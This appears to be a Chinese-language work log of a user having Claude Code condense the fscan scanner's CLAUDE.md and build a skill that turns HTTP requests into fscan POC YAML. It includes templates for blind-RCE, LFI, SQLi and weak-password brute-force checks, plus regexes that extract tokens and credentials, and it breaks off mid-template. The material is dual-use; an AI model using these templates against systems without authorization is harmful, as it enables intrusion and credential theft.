1. 后续开发必须关注的设计要点（如 embed 编译注意、插件注册模式、错误处理）
2. 我们新增的两个功能：search 字段扩展 和 -hs 参数

方案

新建文件

docs/architecture.md — 迁移以下内容：
- 架构总览（主要执行流程）
- 包结构（各目录/文件说明）
- 插件注册系统（含代码示例）
- 并发模型
- 重要扫描模式（-m 参数）
- 端口组说明
- WebScan 模块架构（核心组件、工作流程）
- POC YAML 基础格式
- 关键全局变量
- 值得注意的实现细节
- 编译参数详细说明（ldflags、trimpath、build tags、embed）
- 常用编译命令组合（包括交叉编译脚本）

精简后的 CLAUDE.md 结构

保留以下内容：

1. 项目概述（一行简介，不变）
2. 构建和开发命令（精简）
- 只保留最常用的两条命令：开发版和生产版
- 跨平台编译示例仅保留一行说明，指向 architecture.md
- 保留依赖管理和运行示例（简短）
- 保留测试说明
3. 常见开发模式（保留，这是"设计要点"）
- 添加新服务插件的步骤
- 添加新 POC（含 embed 编译警告）
- 错误处理约定
4. 新增功能：search 字段扩展（完整保留）
- 说明、YAML 示例、输出格式、实现细节
5. 新增功能：-hs 参数（POC 请求响应保存）（完整保留）
6. 安全和授权上下文（保留一句话）

关键文件

- /Users/veno/Projects/fscan/CLAUDE.md — 精简修改
- /Users/veno/Projects/fscan/docs/architecture.md — 新建，接收迁移内容

执行步骤

1. 新建 docs/architecture.md，将架构相关内容（执行流程、包结构、插件系统、并发模型、扫描模式、端口组、WebScan
架构、全局变量、实现细节、详细编译参数）全部迁移进去
2. 改写 CLAUDE.md：删除已迁移内容，补充一行 > 详细架构说明见 [docs/architecture.md](docs/architecture.md)，保留开发模式、两个新功能、安全上下文

验证

- 读取改写后的 CLAUDE.md，确认内容简洁、新功能说明完整
- 读取 docs/architecture.md，确认迁移内容完整无遗漏

此处需要调整。我们后续不会继续进行开发，因此不需要测试说明，依赖管理，开发模式。fscan 作为渗透工具，跨平台编译示例是关键的，后续使用时需要反复重新构建。需要保留。着重讲清楚如何添加和使用新的 poc yaml，强调 poc yaml 模板会被编译进二进制。

精简 CLAUDE.md 并迁移架构文档

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


CLAUDE.md 目前包含大量代码架构细节（包结构、并发模型、插件注册等），导致文件冗长，不易快速查阅。用户希望将这些内容迁移至独立文档，让 CLAUDE.md 只保留两类内容：

1. 使用该工具时必须关注的要点：跨平台构建命令、POC YAML 的编写与部署（含 embed 编译警告）
2. 我们新增的两个功能：search 字段扩展 和 -hs 参数

注：后续不再继续开发，因此删除开发模式、依赖管理、测试说明等内容。

方案

新建文件

docs/architecture.md — 迁移以下内容：
- 架构总览（主要执行流程）
- 包结构（各目录/文件说明）
- 插件注册系统（含代码示例）
- 并发模型
- 重要扫描模式（-m 参数）
- 端口组说明
- WebScan 模块架构（核心组件、工作流程）
- 关键全局变量
- 值得注意的实现细节

精简后的 CLAUDE.md 结构

1. 项目概述（一行简介）
2. 构建（完整保留跨平台编译示例）
- 开发版 / 生产版命令
- 跨平台编译：Windows、Linux、macOS（amd64/arm64）
- Embed 重要提示：新增或修改 POC 后必须重新编译
- 运行示例（基本扫描、指定端口等）
3. POC YAML 使用指南（核心内容）
- POC 存放位置：WebScan/pocs/
- 重要：POC 通过 //go:embed 编译进二进制，修改后必须重新编译
- 临时方案：-pocpath <目录> 不需重编译
- 基础 POC YAML 格式示例
- sets 爆破字典语法示例
4. 新增功能：search 字段扩展（完整保留）
- 说明、YAML 示例、输出格式、实现位置
5. 新增功能：-hs 参数（POC 请求响应保存）（完整保留）
6. 安全和授权上下文（一句话）

关键文件

- /Users/veno/Projects/fscan/CLAUDE.md — 精简修改
- /Users/veno/Projects/fscan/docs/architecture.md — 新建，接收迁移内容

执行步骤

1. 新建 docs/architecture.md，迁移所有架构细节
2. 改写 CLAUDE.md：删除已迁移内容，聚焦构建、POC 使用、两个新功能

验证

- 读取改写后的 CLAUDE.md，确认简洁、POC 使用说明完整、新功能说明完整
- 读取 docs/architecture.md，确认迁移内容完整

修改后的 CLAUDE.md

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114


# CLAUDE.md

This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.

详细架构文档见 [docs/architecture.md](docs/architecture.md)。

## 项目概述

fscan 是一个用 Go 语言编写的内网综合扫描工具。支持主机存活探测、端口扫描、服务爆破、漏洞检测（包括 MS17-010、SMB Ghost）、Web 指纹识别，以及基于 YAML 格式的 Web 漏洞扫描（兼容 xray POC 格式）。

## 构建

```bash
# 开发调试版本（保留调试信息）
go build -o fscan main.go

# 生产发布版本（体积优化）
go build -ldflags="-s -w" -trimpath -o fscan main.go

# 跨平台编译
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o fscan_windows_amd64.exe main.go
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o fscan_linux_amd64 main.go
GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -trimpath -o fscan_darwin_amd64 main.go
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -trimpath -o fscan_darwin_arm64 main.go
```

> **重要**：`WebScan/pocs/` 目录下的 POC YAML 文件通过 `//go:embed pocs` 在**编译期**打包进二进制。新增或修改 POC 后，必须重新编译才能生效。

```bash
# 运行示例
go run main.go -h 192.168.1.1/24
go run main.go -h 192.168.1.1/24 -m ssh
go run main.go -h 192.168.1.1/24 -p 22,80,443
```

## POC YAML 使用指南

POC 文件存放于 `WebScan/pocs/`，兼容 xray 格式。

**临时加载外部 POC（无需重编译）**：使用 `-pocpath <目录>` 从文件系统加载。

### 基础格式

```yaml
name: poc-name
transport: http
rules:
 - method: GET
 path: /vulnerable/path
 expression: response.status == 200 && response.body.bcontains(b'marker')
```

### 爆破字典（sets）

```yaml
name: poc-yaml-bruteforce
sets:
 - key: user
 value: ["admin", "root"]
 - key: pass
 value: ["admin", "123456"]
rules:
 - method: POST
 path: /login
 body: '{"user":"{{user}}","pass":"{{pass}}"}'
 expression: response.status == 200 && response.body.bcontains(b'success')
```

## 新增功能：search 字段扩展

原版 xray 格式的 `search` 字段仅用于提取命名捕获组并注入到后续 rule 的变量替换中。本项目在此基础上扩展：**所有命名捕获组的值会在 POC 命中时一并打印到输出**，适用于提取 accessToken、凭据、版本号等敏感信息。

**语法**：在任意 rule 中添加 `search` 字段，使用 Python 风格的命名捕获组 `(?P<name>...)`：

```yaml
name: poc-yaml-example-with-extraction
transport: http
rules:
 - method: POST
 path: /api/auth
 body: '{"username":"admin","password":"admin"}'
 search: '"accessToken":"(?P<accessToken>[^"]+)".*?"username":"(?P<username>[^"]+)"'
 expression: response.status == 200 && response.body.bcontains(b'accessToken')
```

命中时输出格式：

```text
[+] PocScan http://10.0.0.1:8848 poc-yaml-example-with-extraction
 * accessToken: eyJhbGc...
 * username: nacos
```

**说明**：

- `search` 匹配范围为 `响应头 + 响应体` 的拼接字符串
- 多个 rule 中的 `search` 均会被收集，后续 rule 提取的变量会覆盖同名变量
- 提取的变量同时注入 `variableMap`，可在后续 rule 中通过 `{{varName}}` 引用
- key 按字母序排列输出，空 key（未命名组）自动忽略
- 实现位置：`WebScan/lib/check.go`，函数 `executePoc` 和 `CheckMultiPoc`

## 新增功能：-hs 参数（POC 请求响应保存）

当 POC 命中时，可使用 `-hs <目录>` 参数保存触发漏洞的 HTTP 请求和响应：

```bash
fscan -hs ./poc-output -u http://target.com -pocname weblogic
```

命中后会在指定目录生成 `{poc_name}_{url_hash}_{timestamp}.txt` 文件，包含完整的请求头/请求体和响应头/响应体。

## 安全和授权上下文

此工具专为经授权的渗透测试和安全评估而设计，使用前须获得合法授权。

现在可以用这个 CLAUDE.md 让 Claude Code 写 Skills

编写一个 skill，用户提供 payload，根据规则生成对应的 fscan poc yaml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


skill 的主要输入格式是什么？

❯ 1. [ ] Raw HTTP 请求（Burp Suite 格式）
 粘贴完整 HTTP 请求：GET/POST 行 + headers + body
 2. [ ] curl 命令
 粘贴 curl 命令，skill 解析成 POC
 3. [ ] 漏洞描述 + URL
 用自然语言描述漏洞，skill 推断结构
 4. [ ] 已有 exploit 代码（Python/Go 等）
 粘贴 exploit 脚本，skill 提取 HTTP 逻辑
 5. [ ] Type something
 Submit

此处认为，这一个 skill 更适合限制在 Raw HTTP 请求，这是最稳的。应该把第三点单独做成另一个 skill。因此选择第一个。但事实上，都已经是 skill 了，其实区别不会很大。

Plan: fscan POC YAML Generator Skill

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101


# Plan: fscan POC YAML Generator Skill

## Context

Users working with fscan need to convert vulnerability payloads (raw HTTP requests, curl commands, exploit descriptions) into properly formatted fscan POC YAML files. Manually writing these files requires knowing the format spec, CEL expression syntax, and naming conventions. A skill automates this conversion and enforces project conventions defined in CLAUDE.md.

## Skill Location

```
~/.claude/skills/fscan-poc-gen/
├── SKILL.md # Main skill (trigger + instructions)
└── references/
 └── poc-format.md # Field reference, CEL functions, type templates
```

Global placement at `~/.claude/skills/` makes the skill available across all projects.

## Files to Create

### 1. `~/.claude/skills/fscan-poc-gen/SKILL.md`

**Frontmatter:**
- `name: fscan-poc-gen`
- `description`: trigger phrases like "生成 POC", "写一个 poc", "convert this payload to POC yaml", "generate fscan poc", "create poc yaml", "把这个 payload 转成 poc"
- `version: 0.1.0`

**Body content (imperative form, ~800 words):**

1. **Input parsing** — identify from user's payload:
 - HTTP method (GET/POST/PUT/DELETE/HEAD)
 - Path (URL path only, strip host)
 - Headers (Content-Type, Cookie, Authorization, custom headers)
 - Body (raw body, JSON, form-encoded)
 - Vulnerability type hint (SQLi, RCE, LFI, SSRF, unauth, weak-password, info-leak)

2. **Naming convention:**
 - Format: `{vendor}-{product}-{cve-or-cnvd-or-type}.yml`
 - POC `name` field: `poc-yaml-{vendor}-{type}` (all lowercase, hyphens)
 - If CVE is known: include it (e.g., `poc-yaml-spring-cve-2022-22947`)
 - Ask user if vendor/name is unclear

3. **Variable decisions:**
 - Use `set` with `randomInt`/`randomLowercase` for RCE proof-of-exploit (avoid hardcoded magic strings)
 - Use `sets` only for brute-force/weak-password POCs
 - Omit `set`/`sets` for detection-only POCs

4. **Expression rules by vulnerability type:**
 - SQLi: detect DB error strings or injected markers (`bcontains(b"error-string")`)
 - RCE (blind): use `rand1 + rand2` math — generate two random ints, inject `expr {{rand1}} + {{rand2}}` into payload, check `response.body.bcontains(bytes(string(rand1 + rand2)))`
 - RCE (reflected): detect command output in body
 - LFI/path traversal: detect file content signatures (e.g., `root:x:0:0`)
 - SSRF: detect internal service responses
 - Unauth access: `response.status == 200 && response.body.bcontains(b"sensitive-marker")`
 - Info leak: use `search` with named capture groups to extract and print leaked data
 - Weak password: multi-rule — first GET to get session/CSRF, then POST login, check redirect or session marker

5. **`search` field usage:**
 - Add when response contains extractable sensitive data (tokens, credentials, version info)
 - Pattern: `(?P<varname>[^"]+)` style named groups
 - Extracted vars are printed on match and available in subsequent rules via `{{varname}}`

6. **Multi-rule POCs:**
 - Rule N+1 depends on data from rule N via `search` extraction
 - Each intermediate rule: set `expression` to verify step succeeded
 - Final rule: expression verifies full exploit chain

7. **Output:**
 - Print the complete YAML to conversation (not write to file, unless user asks)
 - Suggest filename following naming convention
 - Note if embedded in binary: must recompile after adding to `WebScan/pocs/`

### 2. `~/.claude/skills/fscan-poc-gen/references/poc-format.md`

Detailed reference (loaded on demand):
- All YAML fields with types and descriptions
- Full CEL function list (bcontains, icontains, bmatches, base64, randomInt, randomLowercase, etc.)
- `set` vs `sets` detailed explanation
- `follow_redirects` usage
- `continue` field explanation
- `detail` metadata fields
- Complete template for each vulnerability category (SQLi, RCE-blind, RCE-reflect, LFI, unauth, weak-password, info-leak, multi-step)
- Real examples from the codebase (abbreviated)

## Skill Trigger Examples

```
"帮我把这个 HTTP 请求生成 fscan poc"
"generate a poc yaml for this CVE"
"写一个 weblogic 弱口令的 poc"
"把这个 curl 命令转成 poc yaml"
"我有一个 SQL 注入 payload，帮我生成 poc"
```

## Verification

After creation:
1. Restart Claude Code or reload plugins
2. Paste a sample raw HTTP request and ask: "帮我生成 fscan poc yaml"
3. Verify skill triggers and produces valid YAML
4. Build fscan: `go build -o fscan main.go` — should succeed with the generated YAML placed in `WebScan/pocs/`
5. Test: `./fscan -u http://target -pocname <poc-name>` — should run without panic

跑完之后的总结如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


Done. Here's what was created:

 ~/.claude/skills/fscan-poc-gen/
 ├── SKILL.md (258 lines)
 └── references/
 └── poc-format.md (445 lines)

 SKILL.md covers the full generation workflow:
 - Input parsing (method, path, headers, body, vuln type)
 - Naming conventions (poc-yaml-{vendor}-{type}, filename patterns)
 - Variable decisions — when to use set (RCE rand proof) vs sets (brute-force)
 vs neither
 - Expression rules for every vuln type: SQLi, RCE blind, RCE reflect, LFI,
 SSRF, unauth, info-leak, weak-password
 - search field usage for extracting tokens/credentials/versions
 - Multi-rule chain patterns with cleanup
 - Output instructions (print YAML, suggest filename, recompile note)
 - Quick templates inline

 poc-format.md is the detailed reference loaded on demand:
 - Every YAML field with type and description
 - Full CEL function table (bcontains, icontains, bmatches, bytes, string,
 base64, randomInt, etc.)
 - set vs sets semantics
 - Complete templates for all 11 vulnerability categories, drawn from real POC
 files in the codebase
 - Common mistakes and a naming reference table

 To use: restart Claude Code or start a new session so the skill is loaded, then
 paste an HTTP request or curl command and say "帮我生成 fscan poc yaml" — the
 skill will trigger automatically.

SKILL.md

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258


---
name: fscan-poc-gen
description: >
 Generates fscan-compatible POC YAML files from raw inputs. Triggers on:
 "生成 POC", "写一个 poc", "帮我生成 poc", "convert this payload to POC yaml",
 "generate fscan poc", "create poc yaml", "把这个 payload 转成 poc",
 "帮我把这个 HTTP 请求生成 fscan poc", "generate a poc yaml for this CVE",
 "写一个弱口令的 poc", "把这个 curl 命令转成 poc yaml",
 "我有一个 SQL 注入 payload，帮我生成 poc", "生成 fscan yaml",
 "convert to fscan poc", "fscan poc 怎么写"
version: 0.1.0
---

You are an expert at generating fscan POC YAML files. When triggered, follow these steps precisely to produce a correct, complete POC.

## Step 1: Parse the Input

Identify each of these from the user's payload, HTTP request, curl command, or description:

- **HTTP method**: GET / POST / PUT / DELETE / HEAD (default GET if unspecified)
- **Path**: URL path only — strip the scheme and host (e.g., from `http://target.com/api/foo` take `/api/foo`)
- **Headers**: Extract Content-Type, Cookie, Authorization, X-* custom headers. Omit Host, Connection, Content-Length — fscan injects these automatically.
- **Body**: Raw body string, JSON object, or form-encoded data. Preserve exact whitespace if relevant.
- **Vulnerability type**: classify as one of: `sqli`, `rce-blind`, `rce-reflect`, `lfi`, `ssrf`, `unauth`, `info-leak`, `weak-password`, `detect`.

If the input is ambiguous (e.g., no clear host/path split, no obvious vuln type), ask the user before proceeding.

## Step 2: Choose the POC Name and Filename

**POC `name` field** — lowercase, hyphen-separated, prefixed `poc-yaml-`:
- Pattern: `poc-yaml-{vendor}-{product}-{type}`
- With CVE: `poc-yaml-{vendor}-cve-{year}-{id}`
- Examples: `poc-yaml-weblogic-console-weak`, `poc-yaml-spring-cve-2022-22947`

**Filename** — follows: `{vendor}-{product}-{cve-or-type}.yml`
- Examples: `weblogic-console-weak.yml`, `spring-cve-2022-22947.yml`

If vendor or product name is unclear from the input, ask the user.

## Step 3: Decide Variables (`set` / `sets`)

**`set`** — single values computed once at runtime:
- Use `randomInt(min, max)` for RCE math-proof integers.
- Use `randomLowercase(n)` for random path segments or usernames used for cleanup.
- Omit entirely for detection-only or static POCs.

**`sets`** — cartesian product for brute-force:
- Use only for weak-password / credential-stuffing POCs.
- List each credential variant. Keep lists concise (≤10 entries); note the user can extend them.

**For RCE blind verification**, always generate two random integers:
```yaml
set:
 rand1: randomInt(800000000, 1000000000)
 rand2: randomInt(800000000, 1000000000)
```
Inject `{{rand1}}` and `{{rand2}}` into the payload math expression, then verify `response.body.bcontains(bytes(string(rand1 + rand2)))` in a later rule.

## Step 4: Write Expression by Vulnerability Type

**SQLi**
```
response.body.bcontains(b"sql-error-string") || response.body.bcontains(b"injected-marker")
```
Common SQL error markers: `You have an error in your SQL`, `SQLSTATE`, `ORA-`, `Microsoft OLE DB`, `Syntax error`.

**RCE (blind math)**
Inject `expr {{rand1}} + {{rand2}}` or equivalent arithmetic. Verify:
```
response.body.bcontains(bytes(string(rand1 + rand2)))
```

**RCE (reflected output)**
Run a safe command like `id` or `echo marker`. Verify:
```
"(uid|gid|groups)=[0-9]+".bmatches(response.body) || response.body.bcontains(b"marker")
```
Or check response header for injected output:
```
"((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header)
```

**LFI / Path Traversal**
```
response.body.bcontains(b"root:x:0:0") || response.body.bcontains(b"[boot loader]")
```

**SSRF**
Detect internal service response or DNS interaction marker:
```
response.status == 200 && response.body.bcontains(b"internal-marker")
```

**Unauth Access**
```
response.status == 200 && response.body.bcontains(b"sensitive-page-marker")
```

**Info Leak**
Use `search` field (see Step 5). Expression confirms the field exists:
```
response.status == 200 && response.body.bcontains(b"leaked-field-name")
```

**Weak Password**
Multi-rule: first verify the login endpoint exists (status check), then attempt auth. Check success marker (redirect, session cookie, dashboard content):
```yaml
rules:
 - method: GET
 path: /admin/
 expression: response.status == 401 || response.body.bcontains(b"Login")
 - method: POST
 path: /admin/login
 headers:
 Content-Type: application/x-www-form-urlencoded
 body: username={{username}}&password={{password}}
 expression: response.status == 302 || response.body.bcontains(b"Dashboard")
```

**Detect / Fingerprint**
Simple presence check:
```
response.status == 200 && response.body.bcontains(b"<title>Product Name</title>")
```

## Step 5: Add `search` Field for Info Extraction

Add `search` when the response contains extractable sensitive data: tokens, credentials, version strings, API keys.

- Syntax: Python-style named capture groups `(?P<varname>pattern)`
- Match scope: concatenated response headers + response body
- Extracted values are printed when POC matches AND injected into `variableMap` for use in subsequent rules via `{{varname}}`

Example for token extraction:
```yaml
 - method: POST
 path: /api/auth
 body: '{"username":"admin","password":"admin"}'
 search: '"accessToken":"(?P<token>[^"]+)"'
 expression: response.status == 200 && response.body.bcontains(b"accessToken")
```

Example chaining extracted var into next rule:
```yaml
 - method: GET
 path: /api/admin/users
 headers:
 Authorization: Bearer {{token}}
 expression: response.status == 200
```

## Step 6: Multi-Rule Chains

When the exploit requires multiple HTTP round-trips:
1. Each intermediate rule verifies its step succeeded with a focused `expression`.
2. The final rule carries the definitive detection expression.
3. Use `search` in intermediate rules to extract session tokens, CSRF values, etc. for later rules.
4. For RCE cleanup (e.g., delete a created route), add cleanup rules after the verification rule.
5. Avoid `continue: true` unless you explicitly need to collect results from a failing rule — by default all rules must pass for the POC to match.

## Step 7: Optional Fields

- `follow_redirects: true` — only add when the exploit requires following a redirect (e.g., login flows). Default is false.
- `detail` block — always include at minimum `author` and `links`. Add `description` for non-obvious vulns.

```yaml
detail:
 author: your-handle
 description: One-line vuln description
 links:
 - https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXXX
```

## Step 8: Output

1. Print the **complete YAML** in a fenced code block labeled `yaml`.
2. Suggest the **filename** following naming convention.
3. If the user wants to embed it in the binary, remind them:
 > Place in `WebScan/pocs/` then recompile: `go build -o fscan main.go`
 > POC files are embedded at compile time via `//go:embed pocs`.
4. Do **not** write the file to disk unless the user explicitly asks.

## Quick Templates

**Detection-only:**
```yaml
name: poc-yaml-{vendor}-{product}-detect
rules:
 - method: GET
 path: /path/to/check
 expression: response.status == 200 && response.body.bcontains(b"unique-marker")
detail:
 author: handle
 links:
 - https://...
```

**RCE blind (math proof):**
```yaml
name: poc-yaml-{vendor}-{product}-rce
set:
 rand1: randomInt(800000000, 1000000000)
 rand2: randomInt(800000000, 1000000000)
rules:
 - method: POST
 path: /vulnerable/endpoint
 headers:
 Content-Type: application/json
 body: '{"cmd":"expr {{rand1}} + {{rand2}}"}'
 expression: response.body.bcontains(bytes(string(rand1 + rand2)))
detail:
 author: handle
 links:
 - https://...
```

**Info leak with extraction:**
```yaml
name: poc-yaml-{vendor}-{product}-info-leak
rules:
 - method: GET
 path: /api/sensitive
 search: '"apiKey":"(?P<apiKey>[^"]+)".*?"username":"(?P<username>[^"]+)"'
 expression: response.status == 200 && response.body.bcontains(b"apiKey")
detail:
 author: handle
 links:
 - https://...
```

**Weak password (sets):**
```yaml
name: poc-yaml-{vendor}-{product}-weak
sets:
 username:
 - admin
 - administrator
 password:
 - admin
 - admin123
 - password
rules:
 - method: GET
 path: /login
 expression: response.status == 200 && response.body.bcontains(b"Login")
 - method: POST
 path: /login
 headers:
 Content-Type: application/x-www-form-urlencoded
 body: username={{username}}&password={{password}}
 expression: response.status == 302 || response.body.bcontains(b"Dashboard")
detail:
 author: handle
 links:
 - https://...
```

For full field reference and CEL function list, see `references/poc-format.md`.

references/poc-format.md

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445


# fscan POC YAML Format Reference

This document is a detailed reference for writing fscan POC YAML files. It covers every field, all CEL functions, type-specific templates, and real-world examples derived from the codebase.

---

## Top-Level Fields

| Field | Type | Required | Description |
|-------------|-------------------|----------|-------------|
| `name` | string | yes | Unique POC identifier. Convention: `poc-yaml-{vendor}-{type}` |
| `transport` | string | no | Always `http` (default). Only field value supported. |
| `set` | map[string]expr | no | Single-value variables computed once at runtime |
| `sets` | list of key+value | no | Multi-value cartesian product (brute-force only) |
| `rules` | list of Rule | yes | Ordered list of HTTP requests to execute |
| `detail` | Detail | no | Metadata: author, description, links |

---

## Rule Fields

| Field | Type | Required | Description |
|--------------------|-------------------|----------|-------------|
| `method` | string | yes | HTTP method: GET, POST, PUT, DELETE, HEAD, OPTIONS |
| `path` | string | yes | URL path. May include `{{varname}}` placeholders |
| `headers` | map[string]string | no | Additional request headers. Do NOT include Host, Content-Length. |
| `body` | string | no | Request body. Supports `{{varname}}` substitution. Use `\|` for multiline. |
| `expression` | string (CEL) | yes | CEL expression that must evaluate to `true` for rule to pass |
| `search` | string (regex) | no | Regex with named groups `(?P<name>...)` applied to `header+body`. Extracts vars. |
| `follow_redirects` | bool | no | Follow HTTP redirects. Default: `false` |
| `continue` | bool | no | Continue to next rule even if this one fails. Default: `false` |

**Rule execution**: All rules must pass (return true) for the POC to be considered a match. Rules execute in order. A failing rule (unless `continue: true`) aborts the chain.

---

## `set` Field

Single-value variables resolved once at the start of POC execution. Available in all rules via `{{varname}}` in path/headers/body and as bare `varname` in CEL expressions.

```yaml
set:
 rand1: randomInt(800000000, 1000000000)
 rand2: randomInt(800000000, 1000000000)
 token: randomLowercase(16)
 router: randomLowercase(8)
```

Variables are also accessible in `expression` without `{{}}`:
```yaml
expression: response.body.bcontains(bytes(string(rand1 + rand2)))
```

---

## `sets` Field

Cartesian product expansion for brute-force POCs. Each combination of values produces a separate rule execution attempt. Use sparingly — only for weak-password or credential-spraying scenarios.

```yaml
sets:
 username:
 - admin
 - administrator
 - root
 password:
 - admin
 - admin123
 - password123
 - ""
```

Values are substituted via `{{username}}` and `{{password}}` in rule body/path/headers.

**Important**: `sets` and `set` are mutually exclusive at the top level. Do not use both.

---

## `detail` Field

```yaml
detail:
 author: handle(https://github.com/handle)
 description: |
 Multi-line description of the vulnerability.
 Include CVE number, affected versions, and attack conditions.
 info: short one-liner
 login: default-user/default-pass  # for weak-password POCs
 links:
 - https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXXX
 - https://vendor.com/security-advisory
```

---

## CEL Expression Language

Expressions are written in Google CEL. The response object and all `set` variables are available.

### Response Object Fields

| Field | Type | Description |
|------------------------------|--------|-------------|
| `response.status` | int | HTTP status code |
| `response.body` | bytes | Response body as bytes |
| `response.raw_header` | bytes | Raw response headers as bytes |
| `response.content_type` | string | Content-Type header value |
| `response.headers` | map | Response headers map (lowercase keys) |
| `response.title` | string | HTML `<title>` tag content |
| `response.latency` | int | Response time in milliseconds |

### Bytes / String Functions

| Function | Signature | Description |
|----------|-----------|-------------|
| `bcontains` | `(bytes).bcontains(bytes) bool` | Case-sensitive bytes substring check |
| `icontains` | `(string).icontains(string) bool` | Case-insensitive string contains |
| `bmatches` | `(string).bmatches(bytes) bool` | Regex match against bytes |
| `bmatches` | `(string).bmatches(string) bool` | Regex match against string |
| `bytes(s)` | `bytes(string) bytes` | Convert string to bytes |
| `string(b)` | `string(int) string` | Convert int to string |
| `base64(s)` | `base64(string) string` | Base64 encode string |
| `base64Decode(s)` | `base64Decode(string) string` | Base64 decode |
| `substr(s,start,end)` | `substr(string,int,int) string` | Substring extraction |
| `len(s)` | `len(bytes\|string) int` | Length |

### Random Value Functions (for `set` values only)

| Function | Description |
|----------|-------------|
| `randomInt(min, max)` | Random integer in `[min, max)` |
| `randomLowercase(n)` | Random lowercase ASCII string of length n |

### Arithmetic in CEL

You can do math directly in expressions:
```yaml
expression: response.body.bcontains(bytes(string(rand1 + rand2)))
```

---

## Vulnerability Type Templates

### 1. Detection / Fingerprint

```yaml
name: poc-yaml-vendor-product-detect
rules:
 - method: GET
 path: /product/path
 follow_redirects: true
 expression: >
 response.status == 200 &&
 response.body.bcontains(b"<title>Product</title>")
detail:
 author: handle
 links:
 - https://vendor.com
```

### 2. Unauthenticated Access

```yaml
name: poc-yaml-vendor-product-unauth
rules:
 - method: GET
 path: /api/admin/users
 follow_redirects: false
 expression: >
